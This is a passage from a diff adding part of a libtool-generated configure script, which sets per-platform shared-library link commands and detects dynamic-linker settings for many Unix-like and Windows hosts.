hardcode_direct=yes + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + export_dynamic_flag_spec='${wl}-E' + ;; + + hpux10* | hpux11*) + if test "$GCC" = yes -a "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*|ia64*) + archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + else + case "$host_cpu" in + hppa*64*|ia64*) + archive_cmds='$LD -b +h $soname -o $lib $libobjs $deplibs $linker_flags' + ;; + *) + archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' + ;; + esac + fi + if test "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*) + hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' + hardcode_libdir_flag_spec_ld='+b $libdir' + hardcode_libdir_separator=: + hardcode_direct=no + hardcode_shlibpath_var=no + ;; + ia64*) + hardcode_libdir_flag_spec='-L$libdir' + hardcode_direct=no + hardcode_shlibpath_var=no + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + ;; + *) + hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' + hardcode_libdir_separator=: + hardcode_direct=yes + export_dynamic_flag_spec='${wl}-E' + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + ;; + esac + fi + ;; + + irix5* | irix6* | nonstopux*) + if test "$GCC" = yes; then + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + hardcode_libdir_flag_spec_ld='-rpath $libdir' + fi + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator=: + link_all_deplibs=yes + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out + else + archive_cmds='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF + fi + hardcode_libdir_flag_spec='-R$libdir' + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + newsos6) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=yes + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator=: + hardcode_shlibpath_var=no + ;; + + openbsd*) + hardcode_direct=yes + hardcode_shlibpath_var=no + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' + hardcode_libdir_flag_spec='${wl}-rpath,$libdir' + export_dynamic_flag_spec='${wl}-E' + else + case $host_os in + openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*) + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec='-R$libdir' + ;; + *) + archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec='${wl}-rpath,$libdir' + ;; + esac + fi + ;; + + os2*) + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + allow_undefined_flag=unsupported + archive_cmds='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def' + old_archive_From_new_cmds='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def' + ;; + + osf3*) + if test "$GCC" = yes; then + allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + allow_undefined_flag=' -expect_unresolved \*' + archive_cmds='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + fi + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator=: + ;; + + osf4* | osf5*) # as osf3* with the addition of -msym flag + if test "$GCC" = yes; then + allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + else + allow_undefined_flag=' -expect_unresolved \*' + archive_cmds='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + archive_expsym_cmds='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~ + $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib~$rm $lib.exp' + + # Both c and cxx compiler support -rpath directly + hardcode_libdir_flag_spec='-rpath $libdir' + fi + hardcode_libdir_separator=: + ;; + + sco3.2v5*) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var=no + export_dynamic_flag_spec='${wl}-Bexport' + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ;; + + solaris*) + no_undefined_flag=' -z text' + if test "$GCC" = yes; then + archive_cmds='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp' + else + archive_cmds='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + archive_expsym_cmds='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + fi + hardcode_libdir_flag_spec='-R$libdir' + hardcode_shlibpath_var=no + case $host_os in + solaris2.[0-5] | solaris2.[0-5].*) ;; + *) # Supported since Solaris 2.6 (maybe 2.5.1?) + whole_archive_flag_spec='-z allextract$convenience -z defaultextract' ;; + esac + link_all_deplibs=yes + ;; + + sunos4*) + if test "x$host_vendor" = xsequent; then + # Use $CC to link under sequent, because it throws in some extra .o + # files that make .init and .fini sections work. + archive_cmds='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' + fi + hardcode_libdir_flag_spec='-L$libdir' + hardcode_direct=yes + hardcode_minus_L=yes + hardcode_shlibpath_var=no + ;; + + sysv4) + case $host_vendor in + sni) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=yes # is this really true??? + ;; + siemens) + ## LD is ld it makes a PLAMLIB + ## CC just makes a GrossModule. + archive_cmds='$LD -G -o $lib $libobjs $deplibs $linker_flags' + reload_cmds='$CC -r -o $output$reload_objs' + hardcode_direct=no + ;; + motorola) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=no #Motorola manual says yes, but my tests say they lie + ;; + esac + runpath_var='LD_RUN_PATH' + hardcode_shlibpath_var=no + ;; + + sysv4.3*) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var=no + export_dynamic_flag_spec='-Bexport' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var=no + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ld_shlibs=yes + fi + ;; + + sysv4.2uw2*) + archive_cmds='$LD -G -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=yes + hardcode_minus_L=no + hardcode_shlibpath_var=no + hardcode_runpath_var=yes + runpath_var=LD_RUN_PATH + ;; + + sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7*) + no_undefined_flag='${wl}-z ${wl}text' + if test "$GCC" = yes; then + archive_cmds='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds='$CC -G ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + runpath_var='LD_RUN_PATH' + hardcode_shlibpath_var=no + ;; + + sysv5*) + no_undefined_flag=' -z text' + # $CC -shared without GNU ld will not create a library from C++ + # object files and a static libstdc++, better avoid it by now + archive_cmds='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + archive_expsym_cmds='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + hardcode_libdir_flag_spec= + hardcode_shlibpath_var=no + runpath_var='LD_RUN_PATH' + ;; + + uts4*) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_shlibpath_var=no + ;; + + *) + ld_shlibs=no + ;; + esac + fi + +echo "$as_me:$LINENO: result: $ld_shlibs" >&5 +echo "${ECHO_T}$ld_shlibs" >&6 +test "$ld_shlibs" = no && can_build_shared=no + +variables_saved_for_relink="PATH $shlibpath_var $runpath_var" +if test "$GCC" = yes; then + variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" +fi + +# +# Do we need to explicitly link libc? +# +case "x$archive_cmds_need_lc" in +x|xyes) + # Assume -lc should be added + archive_cmds_need_lc=yes + + if test "$enable_shared" = yes && test "$GCC" = yes; then + case $archive_cmds in + *'~'*) + # FIXME: we may have to deal with multi-command sequences. + ;; + '$CC '*) + # Test whether the compiler implicitly links with -lc since on some + # systems, -lgcc has to come before -lc. If gcc already passes -lc + # to ld, don't add -lc before -lgcc. + echo "$as_me:$LINENO: checking whether -lc should be explicitly linked in" >&5 +echo $ECHO_N "checking whether -lc should be explicitly linked in... $ECHO_C" >&6 + $rm conftest* + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } 2>conftest.err; then + soname=conftest + lib=conftest + libobjs=conftest.$ac_objext + deplibs= + wl=$lt_prog_compiler_wl + compiler_flags=-v + linker_flags=-v + verstring= + output_objdir=. + libname=conftest + lt_save_allow_undefined_flag=$allow_undefined_flag + allow_undefined_flag= + if { (eval echo "$as_me:$LINENO: \"$archive_cmds 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\"") >&5 + (eval $archive_cmds 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + then + archive_cmds_need_lc=no + else + archive_cmds_need_lc=yes + fi + allow_undefined_flag=$lt_save_allow_undefined_flag + else + cat conftest.err 1>&5 + fi + $rm conftest* + echo "$as_me:$LINENO: result: $archive_cmds_need_lc" >&5 +echo "${ECHO_T}$archive_cmds_need_lc" >&6 + ;; + esac + fi + ;; +esac + +echo "$as_me:$LINENO: checking dynamic linker characteristics" >&5 +echo $ECHO_N "checking dynamic linker characteristics... $ECHO_C" >&6 +library_names_spec= +libname_spec='lib$name' +soname_spec= +shrext_cmds=".so" +postinstall_cmds= +postuninstall_cmds= +finish_cmds= +finish_eval= +shlibpath_var= +shlibpath_overrides_runpath=unknown +version_type=none +dynamic_linker="$host_os ld.so" +sys_lib_dlsearch_path_spec="/lib /usr/lib" +if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then + # if the path contains ";" then we assume it to be the separator + # otherwise default to the standard path separator (i.e. ":") - it is + # assumed that no part of a normal pathname contains ";" but that should + # okay in the real world where ";" in dirpaths is itself problematic. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi +else + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" +fi +need_lib_prefix=unknown +hardcode_into_libs=no + +# when you set need_version to no, make sure it does not cause -set_version +# flags to be left without arguments +need_version=unknown + +case $host_os in +aix3*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' + shlibpath_var=LIBPATH + + # AIX 3 has no versioning support, so we append a major version to the name. + soname_spec='${libname}${release}${shared_ext}$major' + ;; + +aix4* | aix5*) + version_type=linux + need_lib_prefix=no + need_version=no + hardcode_into_libs=yes + if test "$host_cpu" = ia64; then + # AIX 5 supports IA64 + library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + else + # With GCC up to 2.95.x, collect2 would create an import file + # for dependence libraries. The import file would start with + # the line `#! .'. This would cause the generated library to + # depend on `.', always an invalid library. This was fixed in + # development snapshots of GCC prior to 3.0. + case $host_os in + aix4 | aix4.[01] | aix4.[01].*) + if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' + echo ' yes ' + echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then + : + else + can_build_shared=no + fi + ;; + esac + # AIX (on Power*) has no versioning support, so currently we can not hardcode correct + # soname into executable. Probably we can add versioning support to + # collect2, so additional links can be useful in future. + if test "$aix_use_runtimelinking" = yes; then + # If using run time linking (on AIX 4.2 or later) use lib<name>.so + # instead of lib<name>.a to let people know that these are not + # typical AIX shared libraries. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + else + # We preserve .a as extension for shared libraries through AIX4.2 + # and later when we are not doing run time linking. + library_names_spec='${libname}${release}.a $libname.a' + soname_spec='${libname}${release}${shared_ext}$major' + fi + shlibpath_var=LIBPATH + fi + ;; + +amigaos*) + library_names_spec='$libname.ixlibrary $libname.a' + # Create ${libname}_ixlibrary.a entries in /sys/libs. + finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' + ;; + +beos*) + library_names_spec='${libname}${shared_ext}' + dynamic_linker="$host_os ld.so" + shlibpath_var=LIBRARY_PATH + ;; + +bsdi[45]*) + version_type=linux + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" + sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" + # the default ld.so.conf also contains /usr/contrib/lib and + # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow + # libtool to hard-code these into programs + ;; + +cygwin* | mingw* | pw32*) + version_type=windows + shrext_cmds=".dll" + need_version=no + need_lib_prefix=no + + case $GCC,$host_os in + yes,cygwin* | yes,mingw* | yes,pw32*) + library_names_spec='$libname.dll.a' + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \${file}`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $rm \$dlpath' + shlibpath_overrides_runpath=yes + + case $host_os in + cygwin*) + # Cygwin DLLs use 'cyg' prefix rather than 'lib' + soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib" + ;; + mingw*) + # MinGW DLLs use traditional 'lib' prefix + soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then + # It is most probably a Windows format PATH printed by + # mingw gcc, but we are running on Cygwin. Gcc prints its search + # path with ; separators, and with drive letters. We can handle the + # drive letters (cygwin fileutils understands them), so leave them, + # especially as we might pass files found there to a mingw objdump, + # which wouldn't understand a cygwinified path. Ahh. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi + ;; + pw32*) + # pw32 DLLs use 'pw' prefix rather than 'lib' + library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/./-/g'`${versuffix}${shared_ext}' + ;; + esac + ;; + + *) + library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib' + ;; + esac + dynamic_linker='Win32 ld.exe' + # FIXME: first we should search . and the directory the executable is in + shlibpath_var=PATH + ;; + +darwin* | rhapsody*) + dynamic_linker="$host_os dyld" + version_type=darwin + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext' + soname_spec='${libname}${release}${major}$shared_ext' + shlibpath_overrides_runpath=yes + shlibpath_var=DYLD_LIBRARY_PATH + shrext_cmds='$(test .$module = .yes && echo .so || echo .dylib)' + # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same. + if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` + else + sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib' + fi + sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' + ;; + +dgux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +freebsd1*) + dynamic_linker=no + ;; + +kfreebsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +freebsd*) + objformat=`test -x /usr/bin/objformat && /usr/bin/objformat || echo aout` + version_type=freebsd-$objformat + case $version_type in + freebsd-elf*) + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' + need_version=no + need_lib_prefix=no + ;; + freebsd-*) + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' + need_version=yes + ;; + esac + shlibpath_var=LD_LIBRARY_PATH + case $host_os in + freebsd2*) + shlibpath_overrides_runpath=yes + ;; + freebsd3.01* | freebsdelf3.01*) + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + *) # from 3.2 on + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + esac + ;; + +gnu*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + hardcode_into_libs=yes + ;; + +hpux9* | hpux10* | hpux11*) + # Give a soname corresponding to the major version so that dld.sl refuses to + # link against other versions. + version_type=sunos + need_lib_prefix=no + need_version=no + case "$host_cpu" in + ia64*) + shrext_cmds='.so' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + if test "X$HPUX_IA64_MODE" = X32; then + sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" + else + sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" + fi + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + hppa*64*) + shrext_cmds='.sl' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + *) + shrext_cmds='.sl' + dynamic_linker="$host_os dld.sl" + shlibpath_var=SHLIB_PATH + shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + ;; + esac + # HP-UX runs *really* slowly unless shared libraries are mode 555. + postinstall_cmds='chmod 555 $lib' + ;; + +irix5* | irix6* | nonstopux*) + case $host_os in + nonstopux*) version_type=nonstopux ;; + *) + if test "$lt_cv_prog_gnu_ld" = yes; then + version_type=linux + else + version_type=irix + fi ;; + esac + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' + case $host_os in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in # libtool.m4 will add one of these switches to LD + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") + libsuff= shlibsuff= libmagic=32-bit;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") + libsuff=32 shlibsuff=N32 libmagic=N32;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") + libsuff=64 shlibsuff=64 libmagic=64-bit;; + *) libsuff= shlibsuff= libmagic=never-match;; + esac + ;; + esac + shlibpath_var=LD_LIBRARY${shlibsuff}_PATH + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" + sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" + hardcode_into_libs=yes + ;; + +# No shared lib support for Linux oldld, aout, or coff. +linux*oldld* | linux*aout* | linux*coff*) + dynamic_linker=no + ;; + +# This must be Linux ELF. +linux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + # Append ld.so.conf contents to the search path + if test -f /etc/ld.so.conf; then + lt_ld_extra=`$SED -e 's/:,\t/ /g;s/=^=*$//;s/=^= * / /g' /etc/ld.so.conf | tr '\n' ' '` + sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra" + fi + + # We used to test for /lib/ld.so.1 and disable shared libraries on + # powerpc, because MkLinux only supported shared libraries with the + # GNU dynamic linker. Since this was broken with cross compilers, + # most powerpc-linux boxes support dynamic linking these days and + # people can always --disable-shared, the test was removed, and we + # assume the GNU/Linux dynamic linker is in use. + dynamic_linker='GNU/Linux ld.so' + ;; + +knetbsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +netbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + dynamic_linker='NetBSD (a.out) ld.so' + else + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + dynamic_linker='NetBSD ld.elf_so' + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + +newsos6) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +nto-qnx*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +openbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + shlibpath_var=LD_LIBRARY_PATH + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + case $host_os in + openbsd2.[89] | openbsd2.[89].*) + shlibpath_overrides_runpath=no + ;; + *) + shlibpath_overrides_runpath=yes + ;; + esac + else + shlibpath_overrides_runpath=yes + fi + ;; + +os2*) + libname_spec='$name' + shrext_cmds=".dll" + need_lib_prefix=no + library_names_spec='$libname${shared_ext} $libname.a' + dynamic_linker='OS/2 ld.exe' + shlibpath_var=LIBPATH + ;; + +osf3* | osf4* | osf5*) + version_type=osf + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" + sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" + ;; + +sco3.2v5*) + version_type=osf + soname_spec='${libname}${release}${shared_ext}$major' + 